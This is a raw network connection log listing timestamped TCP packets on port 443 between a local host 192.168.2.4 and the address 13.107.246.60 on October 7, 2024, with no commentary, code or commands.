Oct 7, 2024 03:03:55.030816078 CEST	49753	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.030833960 CEST	443	49753	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.030927896 CEST	49752	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.030940056 CEST	443	49752	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.638971090 CEST	443	49749	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.642205954 CEST	49749	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.642272949 CEST	443	49749	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.642667055 CEST	49749	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.642682076 CEST	443	49749	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.659460068 CEST	443	49750	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.661205053 CEST	49750	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.661228895 CEST	443	49750	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.661736012 CEST	49750	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.661747932 CEST	443	49750	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.687361956 CEST	443	49752	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.690354109 CEST	49752	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.690368891 CEST	443	49752	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.690907001 CEST	49752	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.690911055 CEST	443	49752	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.697675943 CEST	443	49751	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.698332071 CEST	49751	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.698364973 CEST	443	49751	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.698791981 CEST	49751	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.698821068 CEST	443	49751	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.710194111 CEST	443	49753	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.710572958 CEST	49753	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.710606098 CEST	443	49753	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.710907936 CEST	49753	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.710916042 CEST	443	49753	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.740392923 CEST	443	49749	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.740444899 CEST	443	49749	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.740525961 CEST	49749	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.740696907 CEST	49749	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.740696907 CEST	49749	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.740731955 CEST	443	49749	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.740758896 CEST	443	49749	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.743351936 CEST	49754	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.743417978 CEST	443	49754	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.743671894 CEST	49754	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.743671894 CEST	49754	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.743733883 CEST	443	49754	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.758097887 CEST	443	49750	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.758172989 CEST	443	49750	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.758349895 CEST	49750	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.758497953 CEST	49750	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.758497953 CEST	49750	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.758517027 CEST	443	49750	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.758537054 CEST	443	49750	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.760629892 CEST	49755	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.760651112 CEST	443	49755	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.761647940 CEST	49755	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.761804104 CEST	49755	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.761809111 CEST	443	49755	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.788197041 CEST	443	49752	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.788328886 CEST	443	49752	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.788378000 CEST	49752	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.788398981 CEST	49752	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.788408041 CEST	443	49752	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.788417101 CEST	49752	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.788422108 CEST	443	49752	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.790580034 CEST	49756	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.790618896 CEST	443	49756	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.790673971 CEST	49756	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.790827990 CEST	49756	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.790843010 CEST	443	49756	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.799530029 CEST	443	49751	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.799676895 CEST	443	49751	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.799822092 CEST	49751	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.799822092 CEST	49751	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.799822092 CEST	49751	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.802031040 CEST	49757	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.802073002 CEST	443	49757	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.802143097 CEST	49757	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.802453995 CEST	49757	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.802474022 CEST	443	49757	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.814444065 CEST	443	49753	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.814511061 CEST	443	49753	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.814565897 CEST	49753	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.814663887 CEST	49753	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.814685106 CEST	443	49753	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.814702988 CEST	49753	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.814718962 CEST	443	49753	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.816943884 CEST	49758	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.816972971 CEST	443	49758	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:55.817033052 CEST	49758	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.817183971 CEST	49758	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:55.817202091 CEST	443	49758	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.099169970 CEST	49751	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.099191904 CEST	443	49751	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.389230013 CEST	443	49754	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.389734030 CEST	49754	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.389765024 CEST	443	49754	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.390325069 CEST	49754	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.390333891 CEST	443	49754	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.391072035 CEST	443	49755	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.391457081 CEST	49755	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.391472101 CEST	443	49755	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.391870975 CEST	49755	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.391876936 CEST	443	49755	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.445451975 CEST	443	49756	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.445909023 CEST	49756	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.445945978 CEST	443	49756	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.446455002 CEST	49756	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.446469069 CEST	443	49756	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.454941034 CEST	443	49757	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.455449104 CEST	49757	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.455532074 CEST	443	49757	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.455948114 CEST	49757	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.456001043 CEST	443	49757	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.482595921 CEST	443	49758	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.482903004 CEST	49758	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.482927084 CEST	443	49758	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.483390093 CEST	49758	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.483443975 CEST	443	49758	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.489649057 CEST	443	49755	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.489686966 CEST	443	49754	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.489713907 CEST	443	49755	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.489757061 CEST	49755	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.489758015 CEST	443	49754	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.489800930 CEST	49754	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.490113020 CEST	49754	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.490129948 CEST	443	49754	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.490133047 CEST	49755	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.490159988 CEST	443	49755	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.490160942 CEST	49755	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.490181923 CEST	443	49755	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.493309975 CEST	49759	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.493370056 CEST	443	49759	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.493452072 CEST	49759	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.494210958 CEST	49760	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.494230032 CEST	443	49760	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.494290113 CEST	49760	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.494390011 CEST	49759	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.494416952 CEST	443	49759	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.494477987 CEST	49760	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.494499922 CEST	443	49760	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.545403957 CEST	443	49756	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.545734882 CEST	443	49756	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.545809031 CEST	49756	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.545855999 CEST	49756	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.545878887 CEST	443	49756	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.545912027 CEST	49756	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.545924902 CEST	443	49756	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.547965050 CEST	49761	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.548052073 CEST	443	49761	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.548144102 CEST	49761	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.548257113 CEST	49761	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.548276901 CEST	443	49761	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.555124998 CEST	443	49757	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.555265903 CEST	443	49757	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.555433035 CEST	49757	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.555433035 CEST	49757	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.555433035 CEST	49757	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.557171106 CEST	49762	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.557230949 CEST	443	49762	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.557301998 CEST	49762	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.557410002 CEST	49762	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.557430983 CEST	443	49762	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.584403992 CEST	443	49758	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.584938049 CEST	443	49758	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.585140944 CEST	49758	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.585140944 CEST	49758	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.585140944 CEST	49758	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.587558031 CEST	49763	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.587610006 CEST	443	49763	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.587693930 CEST	49763	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.587879896 CEST	49763	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.587905884 CEST	443	49763	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.802288055 CEST	49758	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.802351952 CEST	443	49758	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:56.864813089 CEST	49757	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:56.864876032 CEST	443	49757	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.128108978 CEST	443	49759	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.128580093 CEST	49759	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.128623009 CEST	443	49759	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.128741980 CEST	443	49760	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.129017115 CEST	49759	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.129031897 CEST	443	49759	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.129220963 CEST	49760	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.129249096 CEST	443	49760	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.129525900 CEST	49760	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.129535913 CEST	443	49760	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.212146997 CEST	443	49762	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.212580919 CEST	49762	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.212603092 CEST	443	49762	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.212977886 CEST	49762	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.212985039 CEST	443	49762	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.218936920 CEST	443	49761	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.219285965 CEST	49761	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.219295979 CEST	443	49761	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.219971895 CEST	49761	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.219978094 CEST	443	49761	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.223623991 CEST	443	49763	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.223851919 CEST	49763	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.223913908 CEST	443	49763	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.224292994 CEST	49763	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.224307060 CEST	443	49763	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.227546930 CEST	443	49760	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.227602005 CEST	443	49760	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.227740049 CEST	443	49759	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.227797985 CEST	443	49759	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.227809906 CEST	49760	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.227880955 CEST	49759	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.227880955 CEST	49760	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.227880955 CEST	49760	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.227935076 CEST	443	49760	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.227957010 CEST	443	49760	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.228080988 CEST	49759	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.228092909 CEST	443	49759	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.228127003 CEST	49759	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.228141069 CEST	443	49759	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.230503082 CEST	49764	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.230520964 CEST	49765	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.230540037 CEST	443	49764	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.230555058 CEST	443	49765	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.230608940 CEST	49764	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.230643988 CEST	49765	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.230756044 CEST	49765	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.230775118 CEST	443	49765	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.230777979 CEST	49764	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.230792046 CEST	443	49764	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.313096046 CEST	443	49762	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.313254118 CEST	443	49762	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.313417912 CEST	49762	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.313448906 CEST	49762	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.313472986 CEST	443	49762	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.313488960 CEST	49762	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.313496113 CEST	443	49762	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.315514088 CEST	443	49761	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.315720081 CEST	443	49761	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.315799952 CEST	49761	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.315932035 CEST	49761	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.315943956 CEST	443	49761	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.315958023 CEST	49761	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.315964937 CEST	443	49761	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.316617966 CEST	49766	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.316664934 CEST	443	49766	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.317960024 CEST	49767	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.317981958 CEST	443	49767	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.318016052 CEST	49766	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.318051100 CEST	49767	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.318185091 CEST	49767	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.318193913 CEST	443	49767	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.318212032 CEST	49766	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.318228960 CEST	443	49766	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.322269917 CEST	443	49763	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.322415113 CEST	443	49763	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.322472095 CEST	49763	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.322529078 CEST	49763	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.322529078 CEST	49763	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.322559118 CEST	443	49763	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.322578907 CEST	443	49763	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.324343920 CEST	49768	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.324371099 CEST	443	49768	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.324439049 CEST	49768	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.324570894 CEST	49768	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.324589968 CEST	443	49768	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.864639044 CEST	443	49765	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.865310907 CEST	49765	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.865334034 CEST	443	49765	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.865781069 CEST	49765	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.865787029 CEST	443	49765	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.876539946 CEST	443	49764	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.876791000 CEST	49764	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.876811028 CEST	443	49764	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.877141953 CEST	49764	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.877147913 CEST	443	49764	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.956893921 CEST	443	49767	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.957515955 CEST	49767	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.957539082 CEST	443	49767	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.957977057 CEST	49767	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.957981110 CEST	443	49767	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.963803053 CEST	443	49765	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.963877916 CEST	443	49765	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.964054108 CEST	49765	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.964107990 CEST	49765	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.964107990 CEST	49765	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.964128971 CEST	443	49765	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.964143038 CEST	443	49765	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.966685057 CEST	49769	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.966746092 CEST	443	49769	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.966830969 CEST	49769	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.966959953 CEST	49769	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.966989040 CEST	443	49769	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.973617077 CEST	443	49766	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.973957062 CEST	49766	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.973969936 CEST	443	49766	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.974364996 CEST	49766	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.974371910 CEST	443	49766	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.977288008 CEST	443	49768	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.977545977 CEST	49768	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.977557898 CEST	443	49768	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.977910042 CEST	49768	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.977916002 CEST	443	49768	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.978383064 CEST	443	49764	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.978435040 CEST	443	49764	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.978549004 CEST	49764	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.978570938 CEST	49764	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.978586912 CEST	443	49764	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.978596926 CEST	49764	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.978601933 CEST	443	49764	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.980739117 CEST	49770	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.980765104 CEST	443	49770	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:57.980850935 CEST	49770	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.980973959 CEST	49770	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:57.980999947 CEST	443	49770	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.054693937 CEST	443	49767	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.054840088 CEST	443	49767	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.054917097 CEST	49767	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.055936098 CEST	49767	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.055947065 CEST	443	49767	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.055954933 CEST	49767	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.055959940 CEST	443	49767	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.062437057 CEST	49771	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.062462091 CEST	443	49771	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.062536001 CEST	49771	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.062836885 CEST	49771	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.062851906 CEST	443	49771	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.073522091 CEST	443	49766	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.073697090 CEST	443	49766	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.073787928 CEST	49766	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.077239990 CEST	443	49768	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.077373981 CEST	443	49768	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.077450991 CEST	49768	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.080696106 CEST	49766	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.080708981 CEST	443	49766	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.080719948 CEST	49766	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.080727100 CEST	443	49766	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.080733061 CEST	49768	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.080748081 CEST	443	49768	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.080761909 CEST	49768	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:03:58.080773115 CEST	443	49768	13.107.246.60	192.168.2.4
Oct 7, 2024 03:03:58.134978056 CEST	49772	443	192.168.2.4	13.107.246.60
